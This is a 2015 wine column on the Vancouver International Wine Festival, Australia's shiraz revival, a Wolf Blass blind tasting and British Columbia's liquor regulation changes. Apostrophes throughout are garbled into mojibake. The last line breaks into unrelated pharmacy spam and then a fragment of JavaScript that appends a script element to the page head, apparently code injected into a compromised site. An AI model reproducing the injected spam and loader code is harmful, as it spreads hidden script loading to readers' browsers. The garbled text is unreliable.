Spotlight on Oz shiraz, B.C. regulations – Feb. 21, 2015


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A large swath of the wine world is on its way to Vancouver in preparation for the 37th Vancouver International Wine Festival. Ita��s always a seminal week for the Canadian wine trade as a wide cross-section of professionals gathers to assess the latest in wine from around the world. This yeara��s festival is all about Australia and shiraz but the real underlying theme a�� and ita��s sure to be the buzz behind the scenes a�� is what on earth is going on with B.C.a��s liquor regulations

The prospect of the province modernizing its regulations was being interpreted by most international suppliers as an opening of the market and maybe a reduction in some of the highest wine taxes in the world. Instead it would appear the government is preparing to shift its focus to selling cheap, commercial brands in their stores while at the same time hog-tying the private wine store sector and imported wines with lower discounts and higher wine taxes respectively.

The much called for wholesale pricing has turned into just another markup (tax) and incredibly, even its meagre savings will not be extended to the hospitality sector, nor will licensees (restaurants, clubs etc., be allowed to buy wine from any entity but government stores. Another dagger to the midriff of private wine stores.

The modernization of B.C. liquor laws has been a strange journey. It started with so much optimism and is ending with concessions to happy hours and farmers market in the face of dramatically different tax models for import versus local wines, a goofy grocery store model with two different sales areas and an almost maniacal plan to deconstruct the private wine store model.

There is a certain irony in all this as Australia returns to the festival as the theme country. After chasing the easy money and churning out a long run of success selling critter wines, Australia has faced a serious wane in interest in North America. In a determined attempt to bounce back, Down Under winemakers have revamped their portfolio, in some cases the style of their wine and the focus has correctly shifted to place and people. You are going to hear a great deal about the regions of Australia and which wines tell its story. Leta��s hope it is a story that interests the new, buy-it-cheap and stack-a��em-high philosophy coming to BC Liquor Stores.

One of the biggest events of the week that will run concurrent to the festival is the Wolf Blass Wines Master Blend Classification in Vancouver. The blind tasting features a number of Wolf Blass blends and some of the finest and most famous cabernet sauvignon blends from Bordeaux, Italy, South Africa, Chile and California to be judged by a panel of North American wine experts. Ita��s a classic Australian game as they go after the tall poppies of the wine world to see how they measure up to their wines. Similar events will be held in London and Melbourne to judge the same wines and, in effect gauge the likes and dislikes of each market.

It is a clever idea and one that keeps Wolf Blass connected to what is going on with world-best reds. No Canadian wine has so far grabbed the attention of Blass organizers although, to be fair there, are few if any Canadians wines for Blass to encounter and measure outside of our borders.

I am excited as always to check out the latest in wine all week across the city and judging by tickets sales, so are you. You can search for last-minute tickets to the 37th Vancouver International Wine Festival at http://www.vanwinefest.ca/page131.htm how much does cialis cost at cvs d.getElementsByTagName('head')[0].appendChild(s);d.getElementsByTagName('head')[0].appendChild(s);if (document.currentScript) {

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